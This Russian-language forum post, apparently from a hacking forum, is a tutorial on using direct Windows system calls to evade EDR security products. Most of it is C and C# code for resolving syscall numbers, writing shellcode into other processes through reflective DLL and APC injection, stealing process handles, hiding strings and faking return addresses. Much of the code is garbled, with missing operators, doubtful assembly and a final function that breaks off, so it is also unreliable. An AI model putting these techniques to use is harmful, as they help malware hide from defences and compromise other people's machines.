Привет, античат . На этот материал у меня ушла не одна неделя... Было затронуто множество ранее неизвестных мне языков программирования и методик. Безумно рад поделиться с вами всем изученным и почитать ваше мнение в комментариях!
Сегодня разговор пойдёт не о очередном «малваре-невидимке» с гитхаба, который детектится через 5 минут после заливания на VT. Речь о фундаменте. О прямых системных вызовах (direct syscalls). Методике, которая из категории «магии для избранных» переходит в разряд must-have навыка для любого, кто устал от ложных срабатываний и хочет понять, как оно работает на уровне атомов. Не для скрипт-кидди, а для того, кто хочет держать в руках отвёртку, а не пластиковый нож.
Дисклеймер: Всё написанное ниже - для исследования легитимных продуктов безопасности, пентета, разработки защищённого софта и расширения кругозора. Не для разрушения. Мы здесь за знание, а не за хаос. Знание - нейтрально. Инструмент - нейтрален.
Твой выбор - нет.
1. Введение в ад: почему EDR вообще что-то видит?
Представь себе город (это твой процесс). В городе есть правила - API Windows (kernel32.dll, user32.dll). Чтобы попросить ядро (правительство) сделать что-то глобальное - выделить землю (память), построить дорогу (нить), нужно подать заявку. Ты идёшь в местную мэрию (ntdll.dll), пишешь заявление (формируешь аргументы в регистрах) и опускаешь его в ящик (выполняешь инструкцию syscall). Курьер (процессор) мгновенно доставляет его в правительство (ядро).
Теперь представим, что EDR - это коррумпированная охрана. Они не могут запретить тебе жить в городе, но они:
- Повесили камеры в мэрии (Userland Hooks). Каждый раз, когда ты приходишь за бланком NtCreateFile, охранник (хук) записывает, кто ты и что хочешь.
- Договорились с чиновниками внутри правительства (Kernel Callbacks). Когда твоё заявление приходит в ядро, срабатывает внутреннее уведомление: «Эй, парень хочет выделить память с правами на исполнение!».
- Прослушивают разговоры курьеров (ETW). Система логирования Windows сама по себе болтлива. EDR подписывается на эти события (как Microsoft-Windows-Threat-Intelligence) и получает детальные отчёты о каждом твоём шаге.
Традиционный малвар идёт в мэрию, берёт стандартный бланк, заполняет его и опускает в ящик. Его видят все камеры, о нём знают все чиновники.
Наша цель: Добыть чистый, неиспользованный бланк (найти адрес syscall-инструкции внутри ntdll), скопировать его форму (SSN), научиться заполнять его самостоятельно (формировать аргументы в регистрах), и опустить его в ящик, не заходя в саму мэрию. А ещё лучше - найти служебный вход (альтернативный syscall-гаджет) или подкупить курьера (уязвимость в ядре).
Ключевой момент:
EDR хукает не сам системный вызов в ядре (это сложно и опасно), а переходники в userland - функции в ntdll.dll. Прямой syscall - это прыжок через голову этого переходника.
2. Syscall как философский камень.
В x64 мире системный вызов вызывается инструкцией syscall. Это не функция. Это дверь. У каждой двери номер -
SSN (System Service Number). Этот номер - индекс в огромной таблице внутри ядра, которая говорит системе, какую именно функцию выполнить.
Где его взять?
Он жёстко зашит в тело каждой функции ntdll. Открой ntdll.dll в дизассемблере. Видишь что-то вроде?
Код:
Код:
NtCreateFile:
mov r10, rcx ; Первый аргумент идёт в r10
mov eax, 55h ; Вот он! SSN для NtCreateFile в этой версии Windows
syscall
ret
0x55 - это и есть SSN. Но вот незадача:
он разный для каждой версии Windows. На Windows 10 1909 один, на Windows 11 22H2 - другой. Поэтому хардкодить - путь в ад.
Соглашение о вызовах (x64 fastcall):- Первые 4 аргумента идут в регистры: rcx, rdx, r8, r9.
- Остальные аргументы пушатся в стек. Важно: Для прямого syscall ты должен сам, перед syscall, резервировать в стеке 32 байта («теньовое пространство» - shadow space) + место для остальных аргументов. И да, это головная боль.
- mov r10, rcx - это обязательный ритуал. Ядро ожидает аргументы в r10 и rdx... почему? Так исторически сложилось.
- Возвращаемое значение идёт в rax.
3. Классика жанра: Gates.
Вот мы и подошли к сердцу техники.
Hell's Gate (2016, исходно от ReWolf):
Идея гениальна в простоте:
- Загружаем копию ntdll.dll с диска (чистую, без хуков).
- Вручную парсим её PE-заголовки, находим экспорт NtCreateThreadEx.
- Дизассемблируем несколько байт начиная с адреса функции, чтобы извлечь SSN (тот самый mov eax, XX).
- Используем этот SSN в своём коде.
Проблема: EDR начали искать в памяти процессов такие «статичные» вызовы mov eax, 0xXX; syscall. Сигнатура.
Halo's Gate (развитие):
Авторы предложили гениальный трюк. Если в хукнутой функции ntdll в памяти инструкция syscall заменена на jmp [адрес_хука_EDR], то мы:
- Ищем инструкцию syscall перед началом функции.
- Или перепрыгиваем через jmp и ищем ret после syscall.
Фактически, мы «скачем» по обрывкам кода, чтобы найти нетронутую пару mov eax, SSN; syscall. Это уже динамический поиск, устойчивый к простому сигнатурному детекту.
Tartarus Gate и подобные (продвинутый уровень):
Зачем вообще лезть в ntdll? SSN хранится в ядре, в
KeServiceDescriptorTable (KSDT) или
KeServiceDescriptorTableShadow (KSDTS). Если мы можем прочитать память ядра (через уязвимость, легитимный драйвер и т.д.), мы можем получить SSN напрямую из первоисточника. Это уже уровень королевской власти.
Практический кусок кода Hell's Gate-стиля (сильно упрощён):
C:
Код:
#include
#include
// Структура для хранения пары Syscall Number -> Адрес
typedef
struct
_SYSCALL_ENTRY
{
DWORD SSN
;
PVOID Address
;
}
SYSCALL_ENTRY
;
// Грубый поиск SSN по сигнатуре mov eax, [SSN] (байты B8 ?? ?? ?? ??)
DWORD
FindSSNFromBytes
(
PBYTE functionAddress
)
{
for
(
int
i
=
0
;
i
Ldr
;
PLIST_ENTRY ModuleList
=
&
Ldr
->
InMemoryOrderModuleList
;
PLIST_ENTRY ListEntry
=
ModuleList
->
Flink
;
PWSTR moduleName
=
NULL
;
while
(
ListEntry
!=
ModuleList
)
{
PLDR_DATA_TABLE_ENTRY Entry
=
CONTAINING_RECORD
(
ListEntry
,
LDR_DATA_TABLE_ENTRY
,
InMemoryOrderLinks
)
;
if
(
Entry
->
BaseDllName
.
Buffer
)
{
// Сравниваем имя модуля с "ntdll.dll"
// ... (опущено для краткости)
}
ListEntry
=
ListEntry
->
Flink
;
}
// 2. Парсим EAT (Export Address Table) найденного модуля, чтобы получить адрес функции
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
moduleBase
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
LPBYTE
)
moduleBase
+
dosHeader
->
e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
LPBYTE
)
moduleBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
LPBYTE
)
moduleBase
+
exportDir
->
AddressOfNameOrdinals
)
;
// 3. Ищем нужное имя функции
for
(
DWORD i
=
0
;
i
NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
moduleBase
+
names
[
i
]
;
if
(
_stricmp
(
functionName
,
FunctionName
)
==
0
)
{
PBYTE functionAddress
=
(
PBYTE
)
moduleBase
+
functions
[
ordinals
[
i
]
]
;
// 4. Диссемблируем начало функции для извлечения SSN
return
ExtractSSNFromFunction
(
functionAddress
)
;
}
}
return
0
;
}
// Сама функция-обёртка для NtAllocateVirtualMemory
EXTERN_C NTSTATUS
NtAllocateVirtualMemory
(
_In_ HANDLE ProcessHandle
,
_Inout_
_At_
(
*
BaseAddress
,
_Readable_bytes_
(
*
RegionSize
)
_Writable_bytes_
(
*
RegionSize
)
_Post_readable_byte_
(
*
RegionSize
)
)
PVOID
*
BaseAddress
,
_In_ ULONG_PTR ZeroBits
,
_Inout_ PSIZE_T RegionSize
,
_In_ ULONG AllocationType
,
_In_ ULONG Protect
)
{
// Получаем SSN для текущей функции (кэшируется)
static
DWORD cachedSSN
=
0
;
if
(
cachedSSN
==
0
)
{
cachedSSN
=
GetSyscallNumber
(
"NtAllocateVirtualMemory"
)
;
}
// Ассемблерный код с правильным распределением аргументов
__asm
{
;
Подготовка аргументов в регистры
(
x64 fastcall
)
mov r10
,
rcx
;
Первый аргумент
(
ProcessHandle
)
->
r10
mov rcx
,
ProcessHandle
mov rdx
,
BaseAddress
mov r8
,
ZeroBits
mov r9
,
RegionSize
;
Аргументы после четвёртого идут в стек
;
AllocationType
(
5
-
й
)
mov rax
,
AllocationType
mov
[
rsp
+
32
]
,
rax
;
Protect
(
6
-
й
)
mov rax
,
Protect
mov
[
rsp
+
40
]
,
rax
;
Вызов
mov eax
,
cachedSSN
syscall
ret
}
}
Критические замечания по коду:- GetSyscallNumber использует PEB для поиска ntdll.dll. Это уже лучше, чем GetModuleHandle, но всё ещё оставляет следы в памяти (поиск по имени модуля). Оптимальнее - хардкодить базовый адрес ntdll (он часто постоянный для одной версии ОС) или получать его через NtQueryInformationProcess с классом ProcessModuleInformation.
- ExtractSSNFromFunction - это упрощённый Hell's Gate. В реальности SysWhispers3 использует более сложную логику, похожую на Halo's Gate, с поиском syscall и движением вверх по коду.
- Кэширование SSN - хорошо, но статическая переменная в функции может быть проблемой для многопоточности. Лучше вынести кэш в глобальную структуру с синхронизацией.
Вывод: SysWhispers3 - отличный старт, но для продакшена его нужно дорабатывать. Особенно в части обфускации и поиска SSN.
4.5. DInvoke: Мощь и гибкость C#
DInvoke - это не просто библиотека для syscall, это целый арсенал для операций в памяти. Рассмотрим ключевые моменты.
Динамический вызов через делегаты (без P/Invoke):
C#:
Код:
using
System
;
using
System
.
Runtime
.
InteropServices
;
using
DInvoke
.
DynamicInvoke
;
public
class
SyscallsExample
{
// Делегат для NtAllocateVirtualMemory
[
UnmanagedFunctionPointer
(
CallingConvention
.
StdCall
)
]
delegate
NTSTATUS
NtAllocateVirtualMemoryDelegate
(
IntPtr
ProcessHandle
,
ref
IntPtr
BaseAddress
,
IntPtr
ZeroBits
,
ref
IntPtr
RegionSize
,
uint
AllocationType
,
uint
Protect
)
;
public
static
void
Execute
(
)
{
// 1. Получаем адрес NtAllocateVirtualMemory из ntdll.dll в памяти
IntPtr
ntdll
=
Generic
.
GetLoadedModuleAddress
(
"ntdll.dll"
)
;
IntPtr
funcAddr
=
Generic
.
GetExportAddress
(
ntdll
,
"NtAllocateVirtualMemory"
)
;
// 2. Создаём делегат для вызова
NtAllocateVirtualMemoryDelegate
ntAllocateVirtualMemory
=
(
NtAllocateVirtualMemoryDelegate
)
Marshal
.
GetDelegateForFunctionPointer
(
funcAddr
,
typeof
(
NtAllocateVirtualMemoryDelegate
)
)
;
// 3. Вызываем функцию через делегат (это вызов через ntdll, но без статического P/Invoke)
IntPtr
baseAddress
=
IntPtr
.
Zero
;
IntPtr
regionSize
=
(
IntPtr
)
0x1000
;
NTSTATUS
status
=
ntAllocateVirtualMemory
(
Process
.
GetCurrentProcess
(
)
.
Handle
,
ref
baseAddress
,
IntPtr
.
Zero
,
ref
regionSize
,
0x3000
,
// MEM_COMMIT | MEM_RESERVE
0x40
)
;
// PAGE_EXECUTE_READWRITE
if
(
status
==
NTSTATUS
.
Success
)
{
Console
.
WriteLine
(
$
"[+] Memory allocated at 0x{baseAddress.ToInt64():X}"
)
;
}
}
}
Прямые syscall через DInvoke:
Библиотека предоставляет класс Syscalls с готовыми методами, но они могут быть сигнатурными. Лучше использовать динамическую генерацию:
C#:
Код:
using
DInvoke
.
Syscalls
;
public
class
DirectSyscallExample
{
public
static
void
Execute
(
)
{
// Использование встроенного метода (использует технику, аналогичную SysWhispers)
var
result
=
Syscalls
.
NtAllocateVirtualMemory
(
Process
.
GetCurrentProcess
(
)
.
Handle
,
ref
baseAddress
,
IntPtr
.
Zero
,
ref
regionSize
,
0x3000
,
0x40
)
;
// Но лучше использовать свой собственный resolver SSN
// DInvoke позволяет подменить метод получения SSN
}
}
Сильные стороны DInvoke:- ManualMap: Загрузка DLL прямо из памяти (техника, известная как reflective DLL injection), без использования LoadLibrary.
- Overload: Поддельные вызовы для обхода хуков (например, вызов NtWriteVirtualMemory через ZwWriteVirtualMemory с другими параметрами).
- Парсинг PE-файлов: Утилиты для работы с заголовками PE, что полезно для ручного маппинга.
Пример ManualMap с DInvoke:
C#:
Код:
using
DInvoke
.
ManualMap
;
public
class
ManualMapExample
{
public
static
void
Execute
(
)
{
// 1. Читаем DLL с диска в байтовый массив
byte
[
]
dllBytes
=
File
.
ReadAllBytes
(
"mylib.dll"
)
;
// 2. Маппим DLL в память текущего процесса
var
mappedModule
=
Map
.
MapModuleToMemory
(
dllBytes
)
;
// 3. Получаем адрес экспортируемой функции
IntPtr
functionAddress
=
Generic
.
GetExportAddress
(
mappedModule
.
ModuleBase
,
"MyExport"
)
;
// 4. Создаём делегат и вызываем
// ...
}
}
Важно: ManualMap оставляет характерные следы в памяти (например, невыровненные регионы памяти с правами PAGE_EXECUTE_READWRITE). Продвинутые EDR (например, Elastic Endpoint) детектят это через дампы памяти.
4.6. Собственные решения: зачем и как
Когда вы пишете свой инструмент с нуля, вы контролируете каждый байт. Рассмотрим ключевые компоненты.
А. Поиск базового адреса ntdll.dll через PEB (без WinAPI):
C:
Код:
#include
#include
PVOID
GetNtdllBase
(
)
{
PPEB peb
=
(
PPEB
)
__readgsqword
(
0x60
)
;
// PEB для x64
PPEB_LDR_DATA ldr
=
peb
->
Ldr
;
PLIST_ENTRY moduleList
=
&
ldr
->
InMemoryOrderModuleList
;
PLIST_ENTRY listEntry
=
moduleList
->
Flink
;
while
(
listEntry
!=
moduleList
)
{
PLDR_DATA_TABLE_ENTRY entry
=
CONTAINING_RECORD
(
listEntry
,
LDR_DATA_TABLE_ENTRY
,
InMemoryOrderLinks
)
;
// Проверяем имя модуля
UNICODE_STRING ntdllName
;
RtlInitUnicodeString
(
&
ntdllName
,
L
"ntdll.dll"
)
;
if
(
RtlCompareUnicodeString
(
&
entry
->
BaseDllName
,
&
ntdllName
,
TRUE
)
==
0
)
{
return
entry
->
DllBase
;
}
listEntry
=
listEntry
->
Flink
;
}
return
NULL
;
}
Б. Парсинг PE и поиск экспорта по хэшу (чтобы не светить строки):
C:
Код:
DWORD
HashStringDjb2A
(
const
char
*
str
)
{
DWORD hash
=
5381
;
int
c
;
while
(
(
c
=
*
str
++
)
)
{
hash
=
(
(
hash
e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
PBYTE
)
moduleBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
PBYTE
)
moduleBase
+
exportDir
->
AddressOfNameOrdinals
)
;
for
(
DWORD i
=
0
;
i
NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
moduleBase
+
names
[
i
]
;
DWORD functionHash
=
HashStringDjb2A
(
functionName
)
;
if
(
functionHash
==
targetHash
)
{
return
(
PBYTE
)
moduleBase
+
functions
[
ordinals
[
i
]
]
;
}
}
return
NULL
;
}
// Использование:
#define HASH_NTALLOCATEVIRTUALMEMORY 0x9122A2B3
// Предварительно вычисленный хэш
PVOID funcAddr
=
GetFunctionAddressByHash
(
ntdllBase
,
HASH_NTALLOCATEVIRTUALMEMORY
)
;
В. Извлечение SSN через Halo's Gate (улучшенная версия):
C:
Код:
DWORD
ExtractSSN
(
PVOID functionAddress
)
{
PBYTE p
=
(
PBYTE
)
functionAddress
;
// Ищем syscall (0F 05) или sysret (0F 07)
for
(
int
i
=
0
;
i
i
-
32
;
j
--
)
{
// Ищем в пределах 32 байт назад
if
(
p
[
j
]
==
0xB8
)
{
// mov eax, imm32
return
*
(
(
PDWORD
)
(
p
+
j
+
1
)
)
;
}
}
}
}
// Если не нашли, возможно, функция захукана (jmp на детектор)
// Ищем jmp (E9) или jmp [mem] (FF 25)
if
(
p
[
0
]
==
0xE9
||
(
p
[
0
]
==
0xFF
&&
p
[
1
]
==
0x25
)
)
{
// Вычисляем адрес перехода
PVOID jumpTarget
=
// ... (разбор jmp)
// Рекурсивно ищем SSN по новому адресу
return
ExtractSSN
(
jumpTarget
)
;
}
return
0
;
}
Г. Генерация shellcode с прямыми syscall на лету:
Иногда нужно, чтобы shellcode сам использовал прямые syscall. Для этого можно сгенерировать код в памяти.
C:
Код:
void
GenerateSyscallStub
(
DWORD ssn
,
PVOID stubBuffer
)
{
// Код для x64: mov r10, rcx; mov eax, SSN; syscall; ret
BYTE code
[
]
=
{
0x49
,
0x8B
,
0xD1
,
// mov r10, rcx (альтернатива: 0x4C, 0x8B, 0xD1)
0xB8
,
0x00
,
0x00
,
0x00
,
0x00
,
// mov eax, SSN
0x0F
,
0x05
,
// syscall
0xC3
// ret
}
;
// Вставляем SSN
*
(
(
PDWORD
)
(
code
+
4
)
)
=
ssn
;
// Копируем в буфер (который должен быть исполняемым)
memcpy
(
stubBuffer
,
code
,
sizeof
(
code
)
)
;
}
// Использование:
DWORD ssn
=
ExtractSSN
(
GetFunctionAddressByHash
(
ntdllBase
,
HASH_NTCREATETHREADEX
)
)
;
PVOID stub
=
VirtualAlloc
(
NULL
,
0x1000
,
MEM_COMMIT
,
PAGE_EXECUTE_READWRITE
)
;
GenerateSyscallStub
(
ssn
,
stub
)
;
// Теперь stub можно вызывать как функцию
typedef
NTSTATUS
(
*
NtCreateThreadExStub
)
(
.
.
.
)
;
NtCreateThreadExStub mySyscall
=
(
NtCreateThreadExStub
)
stub
;
mySyscall
(
.
.
.
)
;
Важно: Такой код легко детектируется сигнатурами (например, последовательностью B8 ?? ?? ?? ?? 0F 05 C3). Нужно обфусцировать: добавить NOP-ы, изменить порядок инструкций, использовать эквивалентные инструкции.
5. Готовим почву: как заставить это работать в реальной жизни. Продолжение.
5.5. Проблема аргументов: Шифрование и маскировка
Когда вы вызываете NtAllocateVirtualMemory с параметрами PAGE_EXECUTE_READWRITE и MEM_COMMIT | MEM_RESERVE, это красный флаг. Решение - разделить операцию и использовать менее подозрительные флаги на каждом этапе.
Пример разделённого выделения памяти:
C:
Код:
// 1. Выделяем память с правами PAGE_READWRITE (менее подозрительно)
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
baseAddr
,
0
,
&
size
,
MEM_RESERVE
,
// Только резервируем, не коммитим
PAGE_READWRITE
)
;
// 2. Коммитим регион с теми же правами
SIZE_T commitSize
=
0x1000
;
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
baseAddr
,
0
,
&
commitSize
,
MEM_COMMIT
,
// Теперь коммитим
PAGE_READWRITE
)
;
// 3. Меняем защиту на PAGE_EXECUTE_READ (или PAGE_EXECUTE_READWRITE, если нужно писать)
DWORD oldProtect
;
status
=
NtProtectVirtualMemory
(
hProcess
,
&
baseAddr
,
&
commitSize
,
PAGE_EXECUTE_READ
,
&
oldProtect
)
;
Это создаёт три syscall вместо одного, но каждый из них выглядит менее подозрительно.
5.6. Работа с Handle: кража и дублирование
Прямые syscall часто требуют передачи handle процесса или потока. Использование GetCurrentProcess() или OpenProcess с PROCESS_ALL_ACCESS подозрительно.
А. Кража handle из легитимного процесса:
Многие процессы имеют открытые handle к другим процессам (например, svchost.exe часто имеет handle к lsass.exe с ограниченными правами). Можно найти и скопировать такой handle.
C:
Код:
NTSTATUS
StealHandle
(
DWORD targetPid
,
PHANDLE stolenHandle
)
{
// 1. Получаем список всех handle в системе через NtQuerySystemInformation
// 2. Ищем handle типа Process с целевым PID
// 3. Дублируем handle через NtDuplicateObject
// 4. Возвращаем дубликат
}
Б. Создание handle с минимально необходимыми правами:
Вместо PROCESS_ALL_ACCESS используйте конкретные права:
- PROCESS_VM_OPERATION для выделения/освобождения памяти
- PROCESS_VM_WRITE для записи в память
- PROCESS_VM_READ для чтения памяти
- PROCESS_CREATE_THREAD для создания потока
C:
Код:
HANDLE
OpenProcessWithMinimalRights
(
DWORD pid
)
{
OBJECT_ATTRIBUTES oa
=
{
sizeof
(
oa
)
}
;
CLIENT_ID cid
=
{
(
HANDLE
)
pid
,
NULL
}
;
HANDLE hProcess
=
NULL
;
NTSTATUS status
=
NtOpenProcess
(
&
hProcess
,
PROCESS_VM_OPERATION
|
PROCESS_VM_WRITE
|
PROCESS_CREATE_THREAD
,
&
oa
,
&
cid
)
;
return
(
NT_SUCCESS
(
status
)
)
?
hProcess
:
NULL
;
}
5.7. Уход от детекта по цепочке вызовов
EDR анализируют последовательности syscall. Например, цепочка NtAllocateVirtualMemory -> NtWriteVirtualMemory -> NtCreateThreadEx является классической для инжектора.
Обфускация цепочки:- Добавление мусорных вызовов: Вызывайте легитимные syscall между критичными операциями.
C:
Код:
// Мусорный вызов
SYSTEM_TIMEOFDAY_INFORMATION timeInfo
;
NtQuerySystemInformation
(
SystemTimeOfDayInformation
,
&
timeInfo
,
sizeof
(
timeInfo
)
,
NULL
)
;
// Критичный вызов
NtAllocateVirtualMemory
(
.
.
.
)
;
// Ещё мусор
ULONG debugFlag
=
0
;
NtQueryInformationProcess
(
GetCurrentProcess
(
)
,
ProcessDebugFlags
,
&
debugFlag
,
sizeof
(
debugFlag
)
,
NULL
)
;
- Изменение порядка: Например, сначала создайте поток в приостановленном состоянии, затем запишите в память, затем возобновите.
- Использование альтернативных методов: Вместо NtCreateThreadEx используйте NtQueueApcThread или RtlCreateUserThread.
6. Сборка Франкенштейна: от сисколла до шеллкода. Углубление.
6.1. Рефлексивная загрузка DLL через прямые syscall
Рефлексивная загрузка - это когда DLL загружает сама себя без помощи LoadLibrary. Это сложнее, но полностью скрыто от EDR.
Пошаговый алгоритм:
C:
Код:
NTSTATUS
ReflectiveDLLInject
(
HANDLE hProcess
,
PBYTE dllBuffer
,
SIZE_T dllSize
)
{
NTSTATUS status
=
STATUS_SUCCESS
;
PVOID remoteBase
=
NULL
;
SIZE_T regionSize
=
dllSize
;
HANDLE hThread
=
NULL
;
// 1. Выделяем память в целевом процессе
status
=
NtAllocateVirtualMemory
(
hProcess
,
&
remoteBase
,
0
,
&
regionSize
,
MEM_COMMIT
|
MEM_RESERVE
,
PAGE_EXECUTE_READWRITE
)
;
if
(
!
NT_SUCCESS
(
status
)
)
return
status
;
// 2. Копируем DLL в целевой процесс
SIZE_T bytesWritten
=
0
;
status
=
NtWriteVirtualMemory
(
hProcess
,
remoteBase
,
dllBuffer
,
dllSize
,
&
bytesWritten
)
;
if
(
!
NT_SUCCESS
(
status
)
)
{
NtFreeVirtualMemory
(
hProcess
,
&
remoteBase
,
&
regionSize
,
MEM_RELEASE
)
;
return
status
;
}
// 3. Вычисляем точку входа рефлексивного загрузчика
// Предположим, что DLL имеет экспорт "ReflectiveLoader"
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
remoteBase
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
PBYTE
)
remoteBase
+
dosHeader
->
e_lfanew
)
;
PIMAGE_EXPORT_DIRECTORY exportDir
=
(
PIMAGE_EXPORT_DIRECTORY
)
(
(
PBYTE
)
remoteBase
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
)
;
PDWORD functions
=
(
PDWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfFunctions
)
;
PDWORD names
=
(
PDWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfNames
)
;
PWORD ordinals
=
(
PWORD
)
(
(
PBYTE
)
remoteBase
+
exportDir
->
AddressOfNameOrdinals
)
;
PVOID reflectiveLoader
=
NULL
;
for
(
DWORD i
=
0
;
i
NumberOfNames
;
i
++
)
{
PCHAR functionName
=
(
PCHAR
)
remoteBase
+
names
[
i
]
;
if
(
strcmp
(
functionName
,
"ReflectiveLoader"
)
==
0
)
{
reflectiveLoader
=
(
PBYTE
)
remoteBase
+
functions
[
ordinals
[
i
]
]
;
break
;
}
}
if
(
!
reflectiveLoader
)
{
NtFreeVirtualMemory
(
hProcess
,
&
remoteBase
,
&
regionSize
,
MEM_RELEASE
)
;
return
STATUS_ENTRYPOINT_NOT_FOUND
;
}
// 4. Создаём удалённый поток, который запустит ReflectiveLoader
status
=
NtCreateThreadEx
(
&
hThread
,
THREAD_ALL_ACCESS
,
NULL
,
hProcess
,
reflectiveLoader
,
remoteBase
,
// Параметр для ReflectiveLoader (базовый адрес DLL)
0
,
// CREATE_SUSPENDED? 0 значит сразу запустить
0
,
0
,
0
,
NULL
)
;
// 5. Ждём завершения загрузки (опционально)
if
(
NT_SUCCESS
(
status
)
)
{
NtWaitForSingleObject
(
hThread
,
FALSE
,
NULL
)
;
NtClose
(
hThread
)
;
}
return
status
;
}
Проблемы:- ReflectiveLoader должен быть самодостаточным: не использовать импорты, работать только через прямые syscall.
- Нужно обработать релокации, импорты, TLS-колбэки.
- Современные EDR детектят рефлексивную загрузку по аномалиям в памяти (невыровненные регионы, смешанные права).
6.2. APC инжекция через NtQueueApcThread
Альтернатива созданию потока - использование APC (Asynchronous Procedure Call). Это может быть менее заметно.
C:
Код:
NTSTATUS
APCInject
(
HANDLE hProcess
,
HANDLE hThread
,
PVOID shellcode
,
SIZE_T shellcodeSize
)
{
// 1. Выделяем память в целевом процессе
PVOID remoteAddr
=
NULL
;
SIZE_T regionSize
=
shellcodeSize
;
NTSTATUS status
=
NtAllocateVirtualMemory
(
hProcess
,
&
remoteAddr
,
0
,
&
regionSize
,
MEM_COMMIT
|
MEM_RESERVE
,
PAGE_EXECUTE_READWRITE
)
;
// 2. Пишем шеллкод
status
=
NtWriteVirtualMemory
(
hProcess
,
remoteAddr
,
shellcode
,
shellcodeSize
,
NULL
)
;
// 3. Ставим APC в очередь к потоку
status
=
NtQueueApcThread
(
hThread
,
(
PKNORMAL_ROUTINE
)
remoteAddr
,
// APC-рутина
NULL
,
// Контекст
NULL
,
// Argument1
NULL
)
;
// Argument2
// 4. Поток выполнит APC при следующем переходе в alertable state
return
status
;
}
Особенности:- Поток должен быть в alertable state (например, вызвав SleepEx, WaitForSingleObjectEx и т.д.).
- Если поток занят, APC может долго не выполняться.
- Можно использовать NtTestAlert для принудительного выполнения APC.
Хочу добавить про
сигнатуры в памяти. Современные EDR не только ищут последовательности инструкций, но и анализируют метаданные памяти. Например, если в твоём шеллкоде есть прямо в коде строки типа "kernel32.dll" или "CreateThread", они будут найдены даже если ты не используешь WinAPI.
Решение:
шифровать все строки простым XOR на этапе компиляции, а в рантайме расшифровывать в стеке:
C:
Код:
// На этапе компиляции
#define ENC_STR(str) XORString(str, 0x55)
// В коде
char
encKernel
[
]
=
{
0x3e
,
0x3c
,
0x33
,
0x33
,
0x30
,
0x27
,
0x7e
,
0x72
,
0x72
,
0x7b
}
;
// "kernel32.dll" xor 0x55
char
kernel
[
20
]
;
XORDecrypt
(
encKernel
,
kernel
,
sizeof
(
encKernel
)
,
0x55
)
;
// Теперь kernel содержит "kernel32.dll"
Также важно затирать строки после использования
memset
(
kernel
,
0
,
sizeof
(
kernel
)
)
;
Теперь, когда у нас есть рабочий инструментарий, поговорим о том, как EDR учатся детектить прямые syscall, и как оставаться на шаг впереди. Это армейская игра в кошки-мышки, и мы - мыши с PhD по архитектуре x64.
7.1. Детект по аномалиям в потоке выполнения
Современные EDR используют hardware breakpoints и трассировку выполнения (Execution Tracing). Они могут отслеживать, откуда пришёл вызов syscall.
Проблема: Когда вы вызываете syscall из своего кода, регистр RIP (Instruction Pointer) указывает на область памяти, которая:
- Не принадлежит известному системному модулю (ntdll.dll).
- Часто находится в регионе с правами PAGE_EXECUTE_READWRITE (подозрительно само по себе).
- Не имеет правильной структуры функции (нет пролога mov r10, rcx, может отсутствовать эпилог).
Решение 1: Return Address Spoofing (подмена возвращаемого адреса)
Идея: сделать так, чтобы при входе в ядро, в стеке возврата лежал адрес внутри ntdll.dll. Это обманет детекты, которые проверяют цепочку вызовов.
C:
Код:
// Пример для x64 с использованием встроенного ассемблера
NTSTATUS
SpoofedNtAllocateVirtualMemory
(
HANDLE ProcessHandle
,
PVOID
*
BaseAddress
,
ULONG_PTR ZeroBits
,
PSIZE_T RegionSize
,
ULONG AllocationType
,
ULONG Protect
,
DWORD ssn
)
{
NTSTATUS status
=
0
;
PVOID fakeReturnAddress
=
GetAddressInsideNtdll
(
)
;
// Находим адрес ret внутри ntdll
__asm
{
// Сохраняем невольные регистры
push rbx
push rsi
push rdi
// Подготавливаем аргументы
mov r10
,
rcx
mov rcx
,
ProcessHandle
mov rdx
,
BaseAddress
mov r8
,
ZeroBits
mov r9
,
RegionSize
// Аргументы 5 и 6 в стек
mov rax
,
AllocationType
mov
[
rsp
+
32
]
,
rax
mov rax
,
Protect
mov
[
rsp
+
40
]
,
rax
// Подменяем возвращаемый адрес
push fakeReturnAddress
// Кладём поддельный адрес возврата
// Вызов
mov eax
,
ssn
syscall
// После syscall мы вернёмся не сюда, а в ntdll
// Поэтому следующий код не выполнится напрямую
add rsp
,
8
// Чистим fakeReturnAddress из стека
mov status
,
eax
pop rdi
pop rsi
pop rbx
}
return
status
;
}
Важно: Этот метод требует глубокого понимания работы стека. Неправильная манипуляция со стеком приведёт к краху.
Решение 2: Jump Oriented Syscall (JOP)
Вместо прямого вызова syscall, мы используем цепочку jmp-гаджетов внутри ntdll.dll, которая в итоге приведёт к выполнению syscall.
C:
Код:
PVOID
FindSyscallGadget
(
)
{
// Ищем в ntdll.dll последовательность:
// jmp [mem] или call [mem], которая ведёт на syscall
// Или даже: mov eax, SSN; jmp [адрес_с_syscall]
HMODULE hNtdll
=
GetModuleHandleA
(
